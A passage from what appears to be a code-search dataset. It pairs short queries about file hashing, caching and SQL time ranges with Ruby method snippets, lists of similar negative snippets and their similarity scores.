primary key\r\n stringIterator += 1\r\n end\r\n\r\n return key\r\nend", "def hash\n keccak256(prefixed_message)\n end", "def handle_short_string(s)\n return @short_string_to_hash[s] if @short_string_to_hash[s]\n\n nonce = ''\n\n loop do\n hash = handle_long_string(s + nonce)\n\n if @hash_to_short_string[hash] && @hash_to_short_string[hash] != s\n # Collision! Add some random junk and keep trying.\n nonce = SecureRandom.hex\n else\n @hash_to_short_string[hash] = s\n @short_string_to_hash[s] = hash\n\n return hash\n end\n end\n end", "def namehash(name)\n node = '0' * 64\n if (name != '')\n name.split('.').reverse.each do |label|\n node = sha3(node + sha3(label),encoding: :hex);\n end\n end\n '0x'+node\n end", "def hash_word(word)\n word.split('').sort\nend", "def hash\n raw = [name, type, values.join('/')].join(' ')\n Digest::MD5.hexdigest(raw)\n end", "def hash_this(word)\n\t\tdigest = Digest::MD5.hexdigest(word) # get the hex version of the MD5 for the specified string\n\t\tdigest[@offset, @digits].to_i(16) % @max_value # offset it using the initial seed value and get a subset of the md5. then modulo it to get the bit array location\n\tend", "def default_key \n Digest::SHA1.hexdigest(\"riaque:#{name}\")\n end", "def hash_file path, hash_store\r\n\thexdigest = HASH_DIGEST.hexdigest(open(path, 'rb') { |io| io.read })\r\n\thash_store[hexdigest] << path\r\nend", "def key_for(key)\n key.is_a?(String) ? key : serialize(key)\n end", "def key_for(key)\n key.is_a?(String) ? key : serialize(key)\n end", "def calculate_hash!\n prefix = PREFIX_NAME_LOOKUP[self.type]\n # add special cases for refs\n self.hash_id = NodeId.sha1(\"#{prefix} #{self.size}\\0#{self.content}\")\n end", "def redis_key(str)\n \"score:#{self.id}:#{str}\"\n end" ]
[ "0.805152", "0.7532965", "0.73771846", "0.73740655", "0.7177354", "0.7170892", "0.71582", "0.7005533", "0.7005533", "0.7005533", "0.7005533", "0.7005533", "0.7005533", "0.7005533", "0.6985056", "0.696933", "0.696151", "0.69603956", "0.6861123", "0.68582714", "0.6773758", "0.67467326", "0.6734301", "0.6734301", "0.6734301", "0.6660207", "0.66432023", "0.66273475", "0.6610689", "0.65203035", "0.644051", "0.64354646", "0.6432293", "0.6424707", "0.64027816", "0.6393925", "0.63657045", "0.63653576", "0.63645375", "0.63598424", "0.63535345", "0.6335755", "0.63350534", "0.63180155", "0.6313386", "0.62988013", "0.62947106", "0.629288", "0.62784874", "0.62695783", "0.6259924", "0.6258964", "0.6256667", "0.62466264", "0.6240529", "0.623556", "0.62297285", "0.62297285", "0.62297285", "0.6229305", "0.6225485", "0.61904544", "0.6180874", "0.6165029", "0.6151982", "0.6151982", "0.6151982", "0.6151982", "0.6151982", "0.6151982", "0.6151982", "0.6151982", "0.6151982", "0.6151982", "0.61484605", "0.6148327", "0.6140385", "0.6133171", "0.6133171", "0.6124904", "0.61241066", "0.61130655", "0.6097567", "0.6094829", "0.6074605", "0.60673827", "0.6066847", "0.6065616", "0.60593325", "0.6055892", "0.6039911", "0.603883", "0.60344887", "0.6029539", "0.6025497", "0.6024722", "0.60143095", "0.6010551", "0.6010551", "0.6006507", "0.60038847" ]
0.0
-1
Hash operation for returning the file of the cached copy
def get_filename(key) hash = hash(key) if File.exist?(File.join(@cache_dir, hash)) return File.join(@cache_dir, hash) else return nil end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def hash\r\n # TODO what if file is empty?\r\n @hash ||= Digest::SHA1.file(File.join(@directory, @filename)).hexdigest\r\n end", "def compute_hash( path )\n res = '0'\n autorelease_pool { res = NSData.sha1FromContentsOfFile(path) }\n res\n end", "def hash_file path, hash_store\r\n\thexdigest = HASH_DIGEST.hexdigest(open(path, 'rb') { |io| io.read })\r\n\thash_store[hexdigest] << path\r\nend", "def hash\n return (path + file_id.to_s).hash\n end", "def cache_file(input)\n key = Digest.hexencode(Digest::SHA2.digest(input.to_yaml))\n return @directory + \"/\" + key + \".yaml\"\n end", "def hash\n Digest::MD5.hexdigest(abs_filepath)[0..5]\n end", "def get_file_hash(fullPath)\n contents = File.read(fullPath)\n fileHash = Digest::MD5.hexdigest(contents)\n return fileHash\nend", "def file_sha256\n Digest::SHA256.file(self).hexdigest\n end", "def [](key)\n\thash = hash(key)\n\n\tvalue = nil\n\tif File.exist?(File.join(@cache_dir, hash))\n\t value = ''\n\t File.open(File.join(@cache_dir, hash), 'rb') { |f|\n\t\tvalue += f.read\n\t }\n\tend\n\n\treturn value\n end", "def hash_file(filename)\n file = File.read(filename)\n tlsh_hash(file.bytes)\n end", "def digest\n assert_file!\n Digest::SHA256.hexdigest(@name + Digest::SHA256.file(@path).to_s)\n end", "def file_ids_hash\n if @file_ids_hash.blank?\n # load the file sha's from cache if possible\n cache_file = File.join(self.path,'.loopoff')\n if File.exists?(cache_file)\n @file_ids_hash = YAML.load(File.read(cache_file))\n else\n # build it\n @file_ids_hash = {}\n self.loopoff_file_names.each do |f|\n @file_ids_hash[File.basename(f)] = Grit::GitRuby::Internal::LooseStorage.calculate_sha(File.read(f),'blob')\n end\n # write the cache\n File.open(cache_file,'w') do |f|\n f.puts YAML.dump(@file_ids_hash) \n end\n end \n end\n @file_ids_hash\n end", "def file_hash\n return @file_hash\n end", "def digest\n OpenSSL::Digest::SHA256.file(path).hexdigest\n end", "def getHash element\n\tfile = File.new(element)\n\thash = Digest::SHA256.file file\n\tfile.close\n\treturn hash.hexdigest \n\tend", "def findSmallHash(f)\r\n return Digest::SHA1.file(f).hexdigest()\r\nend", "def version_for_cache\n \"path:#{source_path}|shasum:#{destination_shasum}\"\n end", "def cache_file_path\n raise IOError.new 'Write permission is required for cache directory' unless File.writable?(@args[:cache_directory])\n \"#{@args[:cache_directory]}/#{Digest::SHA1.hexdigest((@args[:cache_ref] || @path).to_s + size.to_s + last_modified.to_s)}.cache\"\n end", "def checksum(file_path, hash_class, _bit_size)\n # Size of each chunk\n chunk_size = 2048\n # Hash that is the checksum function\n # when a bitsize was specified\n if _bit_size\n hash = hash_class.new(_bit_size)\n else\n hash = hash_class.new\n end\n # File handler\n file_object = File.open(file_path, 'r')\n # loop to update the hash\n while true\n content = file_object.read chunk_size\n # Break the loop if we don't get any byte\n unless content\n return hash.hexdigest\n end\n # Update the hash\n hash.update content\n end\nend", "def hash_file(name, length)\n pieces = String.new\n file = ::File.open(name, 'r')\n pieces << Digest::SHA1.digest(file.read(length)) until file.eof?\n file.close\n pieces\n end", "def hash\n raise NotImplementedError.new(\"hash() must be implemented by subclasses of AbstractVersionedFile.\")\n end", "def genhash(absolute_filename)\n HDB.debug and puts \"Absolute filename #{absolute_filename}\"\n if File.file?(absolute_filename)\n HDB.debug and puts \"Digesting\"\n hash = Digest::SHA512.new\n # Save atime\n PRESERVE_ATIME and atime = File.stat(absolute_filename).atime\n File.open(absolute_filename, 'r') do |fh|\n while buffer = fh.read(BUFSIZE)\n hash << buffer\n end\n end\n # Reset atime, preserve mtime\n PRESERVE_ATIME and File.utime(atime, File.stat(absolute_filename).mtime, absolute_filename)\n return hash.to_s\n else\n HDB.debug and puts \"Not a file\"\n return NAHASH\n end\n end", "def hash\n folder.hash ^ name.hash # eXclusive OR operator\n end", "def hash\n @hash || calculate_hash!\n end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def getContentCache(theContent)\n\n\ttheChecksum = Digest::SHA256.hexdigest(theContent).insert(2, '/');\n\ttheCache = \"#{PATH_FORMAT_CACHE}/#{theChecksum}\";\n\t\n\treturn theCache;\n\nend", "def file_checksum(file_path)\n Digest::SHA256.file(file_path).hexdigest\n end", "def hash\n @hash ||= @client.get_hash(path)\n @hash\n end", "def hash\n @hash ||= @client.get_hash(path)\n @hash\n end", "def filehash(filepath)\n sha1 = Digest::SHA1.new\n File.open(filepath) do|file|\n buffer = ''\n # Read the file 512 bytes at a time\n while not file.eof\n file.read(512, buffer)\n sha1.update(buffer)\n end\n end\n return sha1.to_s\n end", "def file_sha1\n Digest::SHA1.file(self).hexdigest\n end", "def destination_shasum\n @destination_shasum ||= digest_directory(source_path, :sha256, source_options)\n end", "def cached_file(source, checksum = nil)\n if source =~ %r{^(file|ftp|http|https):\\/\\/}\n uri = as_uri(source)\n cache_file_path = \"#{Chef::Config[:file_cache_path]}/#{::File.basename(::CGI.unescape(uri.path))}\"\n Chef::Log.debug(\"Caching a copy of file #{source} at #{cache_file_path}\")\n\n remote_file cache_file_path do\n source source\n backup false\n checksum checksum unless checksum.nil?\n end\n else\n cache_file_path = source\n end\n\n Chef::Util::PathHelper.cleanpath(cache_file_path)\n end", "def file_digest(path)\n if stat = self.stat(path)\n self.stat_digest(path, stat)\n end\n end", "def digest_file( x)\n path = requested_file( x[:request] )\n if File.exist?(path) && !File.directory?(path)\n Digest::MD5.hexdigest(File.read(path))\n else\n nil\n end\n end", "def contents_hash(paths)\n return if paths.nil?\n\n paths = paths.compact.select { |path| File.file?(path) }\n return if paths.empty?\n # rubocop:disable GitHub/InsecureHashAlgorithm\n paths.sort\n .reduce(Digest::XXHash64.new, :file)\n .digest\n .to_s(16) # convert to hex\n # rubocop:enable GitHub/InsecureHashAlgorithm\n end", "def regenerate_hash\n path = tempfile_path\n unless File.exist?(path)\n path = file_path\n end\n\n unless File.exist?(path)\n errors.add(:file, \"not found\")\n return false\n end\n\n hashes = Moebooru::Hasher.compute(path, [:crc32, :md5])\n\n self.md5 = hashes[:md5]\n self.crc32 = hashes[:crc32]\n end", "def cached_gemfile_md5_path\n File.join(tmp_path, 'git_copy_bundle_gemfile_lock.md5')\n end", "def generate_sha(file)\n\n sha1 = Digest::SHA1.file file\n return sha1\n\nend", "def version_for_cache\n \"download_url:#{source[:url]}|#{digest_type}:#{checksum}\"\n end", "def filehash(filename, algorithm = DEFAULT_ALGORITHM)\n algo_class = Digest.const_get(algorithm.to_s.upcase)\n\n # Safety check\n unless algo_class.class == Class and algo_class.respond_to?(:new)\n raise \"Unknown filehash provider #{algo_class}\"\n end\n\n hash = algo_class.new()\n File.open(filename,'r') do |f|\n until f.eof?\n hash.update(f.read(READ_SIZE))\n end\n end\n\n return hash.hexdigest\n end", "def hexdigest\n self.class.hexdigest_for(path)\n end", "def hash\n path.hash\n end", "def calculated_checksum\n send(\"#{@resource[:checksum_type]}_file\".to_sym, @resource[:path]) \n end", "def memo\n return @memo_file\n end", "def file_digest_key(stat)\n \"file_digest:#{compressed_path}:#{stat}\"\n end", "def cache_key\n Digest::SHA1.hexdigest \"#{self.class.name}#{base_url}#{hashable_string_for(options)}\"\n end", "def get_cache_file_for(gist, file)\n bad_chars = /[^a-zA-Z0-9\\-_.]/\n gist = gist.gsub bad_chars, ''\n file = file.gsub bad_chars, ''\n md5 = Digest::MD5.hexdigest \"#{gist}-#{file}\"\n File.join @cache_folder, \"#{gist}-#{file}-#{md5}.cache\"\n end", "def hash (site)\n\t#hash_in_hash = Array.new\n\t#hash_in_hash = {\"URL\" => \"MD5_Digest\"}\n\topen (site) do |s|\n\t\tresponse = s.read\n\t\tdigest = Digest::MD5.hexdigest(response)\n\t\t#string1 = site + \" - \" + digest + \"\\n\"\n\t\t#file2 = File.open(\"/Users/ismeet/code/ruby/js_scan/hashes\", \"a\")\n\t\t#file2.write(string1)\n\t\treturn site, digest #Return site and digest. The hash has to be created in the outside function where we area calling the hash function.\n\tend\nend", "def cache_file key\n File.join( store, key+\".cache\" )\n end", "def hash\n @real.hash ^ @image.hash\n end", "def checksum\n digest = @digest_klass.new\n buf = ''\n\n File.open(@path, \"rb\") do |f|\n while !f.eof\n begin\n f.readpartial(BUFFER_SIZE, buf)\n digest.update(buf)\n rescue EOFError\n # Although we check for EOF earlier, this seems to happen\n # sometimes anyways [GH-2716].\n break\n end\n end\n end\n\n digest.hexdigest\n end", "def file_sha256_hash(file_path)\n file = File.read(file_path)\n Digest::SHA256.hexdigest(file) if file\n end", "def genfile(filename, args = nil, &block)\r\n realpath = file(filename)\r\n md5key = [MetaMD5, filename]\r\n filekey = [MetaFile, filename]\r\n if @cache.has?(md5key) && \r\n @cache.has?(filekey) &&\r\n FileTest.file?(realpath) && \r\n MD5.filehex(realpath) == @cache[md5key]\r\n elsif @cache.has?(filekey)\r\n _writefile realpath, @cache[filekey]\r\n else\r\n u = yield filekey\r\n @cache.transaction do |db|\r\n db[md5key] = MD5.hexdigest u\r\n db[filekey] = u\r\n _writefile realpath, @cache[filekey]\r\n end\r\n end\r\n realpath\r\n end", "def cache_path\n Pathname.new(File.expand_path(File.join(ChefCLI::Helpers.package_home, \"cache\")))\n .join(\".cache\", \"git\", Digest::SHA1.hexdigest(uri))\n end", "def file_digest(file)\n # Get the actual file by #tempfile if the file is an `ActionDispatch::Http::UploadedFile`.\n Digest::SHA256.file(file.try(:tempfile) || file).hexdigest\n end", "def hash(*) end", "def file_digest(pathname)\n key = pathname.to_s\n if @digests.key?(key)\n @digests[key]\n else\n @digests[key] = super\n end\n end", "def shasum\n @shasum ||= begin\n digest = Digest::SHA256.new\n\n update_with_string(digest, name)\n update_with_string(digest, install_dir)\n update_with_string(digest, FFI_Yajl::Encoder.encode(overrides))\n\n if filepath && File.exist?(filepath)\n update_with_file_contents(digest, filepath)\n else\n update_with_string(digest, \"<DYNAMIC>\")\n end\n\n digest.hexdigest\n end\n end", "def cache_filename_for_uri( path )\n uid = Digest::MD5.hexdigest( \"#{@uid}:#{path}\" )\n # NOTE: this path needs to exist with r/w permissions for webserver\n @cache_dir.join( uid )\n end", "def digest\n Digest::MD5.file(file).hexdigest\n end", "def cached_directory\n case branch\n when 'master'\n Digest::MD5.hexdigest(git_url)[0..6]\n else\n Digest::MD5.hexdigest(git_url + branch)[0..6]\n end\n end", "def cache_buster_hash(*files)\n i = files.map { |f| File.mtime(f).to_i }.max\n (i * 4567).to_s.reverse[0...6]\n end", "def hash\n [class_id, object_type, action, cache_state, cached_time, last_access_time, md5sum, original_sha512sum, path, registered_workflows, used_count, file, network_element].hash\n end", "def calculate_hash!\n prefix = PREFIX_NAME_LOOKUP[self.type]\n # add special cases for refs\n self.hash_id = NodeId.sha1(\"#{prefix} #{self.size}\\0#{self.content}\")\n end", "def getfile(sum)\n source_path = \"#{@rest_path}md5/#{sum}\"\n file_bucket_file = Puppet::FileBucket::File.indirection.find(source_path, :bucket_path => @local_path)\n\n raise Puppet::Error, \"File not found\" unless file_bucket_file\n file_bucket_file.to_s\n end", "def get_hash(key)\n (Zlib.crc32(key).abs % 100).to_s(36)\n end", "def checksum\n\t\t@checksum ||= FileManager.checksum(@path)\n #\t\tif file?\n #\t\t\treturn FileManager.checksum(@path)\n #\t\tend\n end", "def get_hash(input)\n return $hasher.reset.update(input).to_s\nend", "def block_hash\n\t\tdigest = Digest::SHA2.new\n\n\t\tdigest << '%d' % [ self.index ]\n\t\tdigest << self.timestamp.strftime( '%s%N' )\n\t\tdigest << self.payload\n\t\tdigest << self.payload_hash\n\t\tdigest << self.proof.to_s\n\t\tdigest << self.previous_hash\n\t\t\n\t\treturn digest.hexdigest\n\tend", "def sha1\n RunLoop::Directory.directory_digest(path)\n end", "def get_cache_file(key)\n _find_file_key(key)\n end", "def cache_resource( path )\n resource_hash = compute_hash(path)\n return true if find_resource(resource_hash)\n\n copy_resource(resource_hash, path)\n end", "def checksum_file(digest_class, path)\n digester = digest_class.new\n digester.file(path)\n digester.hexdigest\n end", "def copy_resource( resource_hash, path )\n # NOTE: the whole caching assumes that two files with the same\n # resource hash contain the same data.\n cache_path = find_resource(resource_hash)\n unless cache_path.nil?\n File.unlink(cache_path)\n end\n\n cache_path = File.join(@cache_path, \"#{resource_hash}#{File.extname(path)}\")\n File.link(path, cache_path)\n\n true\n rescue SystemCallError\n false\n end", "def hash() source.hash ^ (target.hash+1); end", "def hash() source.hash ^ (target.hash+1); end", "def file_md5\n Digest::MD5.file(self).hexdigest\n end", "def script_sha(conn, file_name)\n if (sha = SCRIPT_SHAS.get(file_name))\n return sha\n end\n\n sha = conn.script(:load, script_source(file_name))\n SCRIPT_SHAS.put(file_name, sha)\n sha\n end", "def hash()\n #This is a stub, used for indexing\n end", "def git_sha_for(path)\n website.git_repository.git_sha path\n end", "def rehash() end", "def file_hash=(value)\n @file_hash = value\n end", "def cache_file\n @cache_file ||= File.join cache_dir, \"#{full_name}.gem\"\n end", "def sha256\n @sha256 ||= digest(path, :sha256)\n end", "def path_hash(path)\n if File.exist?(path)\n %x{\n { cd cookbooks;\n export LC_ALL=C;\n find #{path} -type f -exec md5sum {} + | sort; echo;\n find #{path} -type d | sort;\n find #{path} -type d | sort | md5sum;\n } | md5sum\n }.split(' ', 2).first\n end\n end", "def sha\n result_hash['sha']\n end", "def cache_path\n File.join @path, 'cache.ri'\n end", "def cache_file_path\n File.join @homepath, 'cache'\n end", "def filename\n self.class.path(hash)\n end", "def get_sha1(path)\n return @cache_sha1 unless @cache_sha1.nil?\n sha1 = \"\"\n if File.exist?(path)\n Dir.chdir(path) do\n sha1 = %x(git rev-parse HEAD).delete(\"\\n\")\n end\n end\n\n @cache_sha1 = sha1\n sha1\n end", "def file_remote_digestsha2(file_name)\n data = read_file(file_name)\n chksum = nil\n if data\n chksum = Digest::SHA256.hexdigest(data)\n end\n return chksum\n end", "def asset_digest(source)\n asset_paths.digest_for(source)\n end", "def cache(file_obj, data_result, url, username, password)\n data_result[:uuid] = UUID.generate\n key = generate_key url, username, password\n\n begin\n data_result[:data_tmp_path] = store_data_to_tmp file_obj, data_result[:uuid]\n data_result[:time_stored] = Time.now\n @@file_cache[key] = data_result\n rescue Exception => e\n @@file_cache[key] = nil\n end\n end" ]
[ "0.73901016", "0.7372921", "0.72942674", "0.71298474", "0.69874686", "0.6952802", "0.68883353", "0.6796016", "0.67659706", "0.67446625", "0.6658386", "0.665464", "0.66355217", "0.66270334", "0.6611895", "0.6598429", "0.655552", "0.6537258", "0.65259314", "0.6500439", "0.64694685", "0.64318395", "0.641527", "0.6400681", "0.6377251", "0.6377251", "0.6377251", "0.6377251", "0.6377251", "0.6377251", "0.6377251", "0.6368195", "0.63590425", "0.62869453", "0.62869453", "0.62850463", "0.62843686", "0.62730926", "0.62667865", "0.62619686", "0.6261195", "0.6247177", "0.6239919", "0.62052053", "0.61717236", "0.61595523", "0.6157196", "0.61516327", "0.6142458", "0.61376363", "0.6129142", "0.6112226", "0.6097323", "0.60962945", "0.60956675", "0.60892373", "0.6086859", "0.6071699", "0.6064229", "0.60555685", "0.6047533", "0.6038852", "0.60247004", "0.6013554", "0.6011249", "0.6011198", "0.5994152", "0.5982476", "0.59810144", "0.59785527", "0.5976432", "0.59631896", "0.5961712", "0.5957625", "0.59508294", "0.5950066", "0.59345555", "0.59299946", "0.5928052", "0.5918985", "0.5914965", "0.59106", "0.59106", "0.59007335", "0.58995366", "0.58953285", "0.58876705", "0.5886331", "0.58856666", "0.58836716", "0.58761", "0.5874889", "0.587402", "0.58666867", "0.58666843", "0.5857271", "0.58565646", "0.58549863", "0.58536947", "0.58428586" ]
0.6206313
43
TODO optimize for generic DBMS
def peak_for_hour(hour, km_id, base=nil) starts = "TIME '#{hour}:00:00'" ends = "TIME '#{hour}:59:59'" self.peak_between(starts, ends, km_id, base) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def select(db); end", "def select(db); end", "def resultset; end", "def query; end", "def data_complextest(db); end", "def get_sighting_records(db)\r\n\r\n sighting_records = db.query(\"select * from sighting_details order by id\")\r\n\r\n return sighting_records.to_a\r\n\r\nend", "def orm; end", "def find_by_sql(sql)\n raise \"not implemented\"\n end", "def sql_modes; end", "def single_object_db; end", "def dbsize; end", "def dbsize; end", "def aggregate_db_storage_type; end", "def books_not_sorted_to_libraries\n ActiveRecord::Base.connection.exec_query(books_not_sorted_to_libraries_sql).collect &:values\nend", "def sql_state; end", "def real_column; end", "def all_proposal_details_rows_sql\n <<-SQL\n SELECT CAST(DocumentID AS INT), ProposalNature, ProposalOutcome, ProposalRepresentation, ProposalNo\n FROM #{table_name}\n GROUP BY DocumentID, ProposalNature, ProposalOutcome, ProposalRepresentation, ProposalNo\n SQL\n end", "def oracle_sql_results(sql, conn = VACOLS::Case.connection)\n result = conn.execute(sql)\n output = []\n while r = result.fetch_hash\n output << r\n end\n output\nend", "def select_all(sql, name = nil) end", "def initial_query; end", "def oracle; end", "def snapshots_redact_sql_queries; end", "def select_one(sql, name = nil) end", "def mongo_load_all search_results=search_all(), json_class_mapper=JSON_CLASS_MAPPER\n search_results.each_with_index do |data_set,i|\n puts \"#{i}: #{data_set}\"\n puts data_set[\"type\"]\n mm_class=( json_class_mapper[data_set[\"type\"]].to_sym or json_class_mapper[data_set[:type]])\n puts \"mm_class=#{mm_class}\"\n #puts \"data set type=#{data_set[:type]}\"\n puts \"class =#{mm_class}\"\n query=make_query data_set\n puts \"query= #{query}\"\n #query= {:case_n=>\"RS-SV-05-16335\", :cd_type=>\"CD8\", :tile=>\"CT4\"}\n if mm_class.where(query).all.empty?\n mm_object=mm_class.create data_set\n puts \"mm created #{mm_object}\"\n else\n # upserts if entry pre-existing\n mm_class.set(query, data_set, :upsert => true )\n puts \"uspsert created #{mm_object}\"\n mm_object=mm_class.where(data_set).find_one\n end\n #binding.pry\n mm_object.get_cd\n mm_object.save\n \n end\n puts \"\\n\\n\\n\"\n puts \"finished uploading to databes\"\nend", "def result\n ActiveRecord::Base.connection.select_all(sql).entries\n end", "def get_data sql\n #$log.debug \"SQL: #{sql} \"\n columns, *rows = @db.execute2(sql)\n #$log.debug \"XXX COLUMNS #{sql}, #{rows.count} \"\n content = rows\n return content\n end", "def find\n self.db.query(\"\n select * \n from dogs\n \")\n end", "def generate_from_collection(model, items, parent_key, parent_id, poly_in)\n model_table = model.to_s.gsub(/::/, \"_\").tableize\n insert_string = \"INSERT INTO \" << model_table << \"(\"\n\n # map mongo types to sql\n sql_types = {\"String\"=>\"text\", \"BSON::ObjectId\"=>\"primary_key\", \"Time\"=>\"time\", \"Object\"=>\"integer\", \"Array\"=>\"text\", \"Integer\"=>\"integer\", \"string\"=>\"text\", \"DateTime\"=>\"datetime\", \"Date\"=>\"date\", \"Hash\"=>\"text\", \"Boolean\"=>\"boolean\", \"Float\"=>\"float\"}\n ignored_fields = ['_type', \"_keywords\"]\n\n # maintain list of fields you either want renamed or if you want them skipped by all transforms include them here\n renamed_fields = {\"_id\" => \"mongo_id\"}\n\n # hash of habtm relations from your schema - make sure the key is alpha before the value\n habtm = {'AlphaTable' => 'BetaTable'}\n\n # user mongoid to figure out relationships we need to iterate over\n relations_in = model.relations.select {|key,value| value[:relation]==Mongoid::Relations::Embedded::Many}\n single_in = model.relations.select {|key,value| value[:relation]==Mongoid::Relations::Embedded::One}\n items.each_with_index do |obj, i|\n id_to_use_next = @@id_counter[model_table] || 100000\n @@id_counter[model_table] = id_to_use_next+1 # hash to keep track of postgres id sequences\n obj_hash = {}\n obj_id = \"\"\n postgres_obj_id = \"\"\n model.fields.each do |field|\n next if ignored_fields.include?(field.first) or field.first.end_with?(\"_ids\")\n field_name = field.first\n\n val = obj.send(field.first.to_sym)\n val = val.to_s if val.is_a?(BSON::ObjectId)\n # serialize hashes & arrays\n if val.is_a?(BSON::OrderedHash)\n val = val.to_h.to_yaml\n elsif val.is_a?(Array)\n val = val.map {|v| v.is_a?(BSON::OrderedHash) ? v.to_h : v }\n val = val.to_yaml\n elsif val.is_a?(Hash)\n val = val.to_yaml\n end\n\n # clean up any apostrophes\n val = val.gsub(/'/, \"''\") unless val.nil? || !val.is_a?(String)\n val = val.to_time.utc if val.present? && ([DateTime, Date, Time].include?(field[1].options[:type]))\n val = '' if val.nil? && (field[1].options[:type] == Time || field[1].options[:type] == DateTime || field[1].options[:type] == Date)\n\n if renamed_fields.include?(field_name)\n field_name = renamed_fields[field_name]\n elsif field_name==\"number\" # we were using a number field for user facing 'id'\n field_name = \"id\"\n elsif field_name.end_with?(\"_id\")\n if val.blank?\n obj_hash[field_name] = \"\"\n else\n # throw in placeholder values with the bson id\n obj_hash[field_name] = \"#{val}_placeholder\"\n field_name = \"mongo_#{field_name.to_s.gsub(/::/, \"_\").downcase}\"\n @@id_indexed[\"#{val}_placeholder\"] << @@lines.count\n @@all_objects[\"#{val}_placeholder\"] = field_name\n end\n end\n obj_id = val if field_name==\"mongo_id\"\n postgres_obj_id = val if field_name==\"id\"\n obj_hash[field_name] = val\n end\n if poly_in # do polymorphic foreign keys\n obj_hash[\"mongo_#{poly_in}_id\"] = parent_id\n obj_hash[\"#{poly_in}_type\"] = parent_key.classify\n obj_hash[\"#{poly_in}_id\"] = \"#{parent_id}_placeholder\"\n @@all_objects[\"#{parent_id}_placeholder\"] = parent_key.classify\n @@id_indexed[\"#{parent_id}_placeholder\"] << @@lines.count\n elsif !parent_key.nil?\n obj_hash[\"mongo_#{parent_key.to_sym}_id\"] = parent_id\n obj_hash[\"#{parent_key.to_sym}_id\"] = \"#{parent_id}_placeholder\"\n @@all_objects[\"#{parent_id}_placeholder\"] = parent_key.classify\n @@id_indexed[\"#{parent_id}_placeholder\"] << @@lines.count\n end\n if postgres_obj_id.blank?\n postgres_obj_id = id_to_use_next\n obj_hash[\"id\"] = postgres_obj_id\n end\n @@id_hash[(\"#{obj_id}_placeholder\")] = postgres_obj_id.to_s\n\n # create sql from array of hashes\n insert_sql(insert_string, obj_hash)\n\n # HABTM\n target=habtm[model.to_s]\n if target\n habtm_collection = obj.send(\"#{target.downcase}_ids\")\n if habtm.size>0\n habtm_obj_hash = Hash.new\n habtm_collection.each do |target_obj|\n habtm_obj_hash[\"mongo_#{target.downcase}_id\"] = target_obj.to_s\n habtm_obj_hash[\"#{target.downcase}_id\"] = \"#{target_obj.to_s}_placeholder\"\n habtm_obj_hash[\"mongo_#{model.to_s.downcase}_id\"] = obj._id\n habtm_obj_hash[\"#{model.to_s.downcase}_id\"] = postgres_obj_id\n @@id_indexed[\"#{target_obj.to_s}_placeholder\"] << @@lines.count\n insert_sql(\"INSERT INTO #{model_table}_#{target.to_s.gsub(/::/, \"_\").tableize} (\", habtm_obj_hash)\n end\n end\n end\n single_in.each do |key, embedded|\n poly_as = embedded[:as] unless embedded[:as].blank?\n embed_collection = obj.send(key.to_sym)\n next if embed_collection.blank?\n generate_from_collection(embed_collection.class, [embed_collection], embedded[:inverse_class_name].to_s.gsub(/::/, \"_\").downcase, obj_id, poly_as) << \"\\n\\r\" unless embed_collection.blank?\n end\n relations_in.each do |key, embedded|\n poly_as = embedded[:as] unless embedded[:as].blank?\n embed_collection = obj.send(key.to_sym)\n generate_from_collection(embed_collection.first.class, embed_collection, embedded[:inverse_class_name].to_s.gsub(/::/, \"_\").downcase, obj_id, poly_as) << \"\\n\\r\" unless embed_collection.blank?\n end\n end\n end", "def all_as_objects\n table_name = self.to_s.pluralize\n \n results = CONNECTION.execute(\"SELECT * FROM #{table_name};\")\n \n results_as_objects = []\n \n results.each do |result_hash|\n \n results_as_objects << self.new(result_hash)\n \n end\n \n return results_as_objects\n \n end", "def getDBValue(connection, query, id1, *id2)\r\n dbi_query = connection.prepare(query)\r\n dbi_query.execute(id1, *id2)\r\n #fetch the result\r\n return dbi_query.fetch\r\nend", "def table_schema(tbl)\n column_sql = <<-eosql\nSELECT rf.rdb$field_name AS \"name\",\n field.rdb$field_type AS \"type_code\",\n field.rdb$field_sub_type AS \"subtype_code\",\n-- -- -- field.rdb$field_length AS \"length\", -- -- --\n field.rdb$field_precision AS \"precision\",\n field.rdb$field_scale AS \"scale\",\n CASE\n WHEN rf.rdb$null_flag > 0\n THEN 'NO'\n ELSE 'YES'\n END AS \"nullable\",\n CASE\n WHEN iseg.rdb$index_name IS NOT NULL\n THEN 'YES'\n ELSE 'NO'\n END AS \"primary_key\"\nFROM rdb$relation_fields rf\nJOIN rdb$fields field ON rf.rdb$field_source = field.rdb$field_name\nLEFT JOIN rdb$relation_constraints c\n ON c.rdb$relation_name = rf.rdb$relation_name\n AND\n c.rdb$constraint_type = 'PRIMARY KEY'\nLEFT JOIN rdb$index_segments iseg\n ON iseg.rdb$index_name = c.rdb$index_name\n AND\n iseg.rdb$field_name = rf.rdb$field_name\nWHERE rf.rdb$relation_name = ?\nORDER BY rf.rdb$field_position, rf.rdb$field_name\neosql\n\n info = RDBI::Schema.new([], [])\n res = execute(column_sql, tbl.to_s.upcase)\n res.as(:Struct)\n while row = res.fetch[0]\n type = RDBI::Driver::Rubyfb::Types::field_type_to_rubyfb(row[:type_code], row[:subtype_code])\n info.columns << RDBI::Column.new(\n row[:name].to_sym,\n type,\n RDBI::Driver::Rubyfb::Types::rubyfb_to_rdbi(type, row[:scale]),\n row[:precision],\n row[:scale],\n row[:nullable] == 'YES',\n #nil, # metadata\n #nil, # default\n #nil, # table\n )\n (info.columns[-1].primary_key = row[:primary_key] == 'YES') rescue nil # pk > rdbi 0.9.1\n end\n return unless info.columns.length > 0\n info.tables << tbl\n info\n end", "def skip_schema_queries; end", "def find(query); end", "def find(query); end", "def table; end", "def table; end", "def table; end", "def table; end", "def subscribe_sql_active_record; end", "def getDBArray(connection, query, id1, *id2)\r\n dbi_query = connection.prepare(query)\r\n dbi_query.execute(id1, *id2)\r\n #fetch the result\r\n return dbi_query.fetch_all\r\nend", "def get_schema_struct(table_name)\n dbres = do_sql_command(\"DESC #{table_name};\")\n\n dbstruct = []\n\n if(dbres) then\n dbres.each_hash do | row |\n dbstruct_hash = {}\n row.each {|key, val|\n dbstruct_hash[key.downcase.to_sym] = val \n }\n dbstruct << dbstruct_hash\n end \n end\n\n dbstruct\nend", "def all\n results = CONNECTION.execute(\"SELECT * FROM #{table_name}\")\n results_as_objects(results)\n \n end", "def query\n end", "def hash_query(sql, name = nil, binds = [])\n \n return if sql.nil?\n #sql = modify_limit_offset(sql)\n\n # 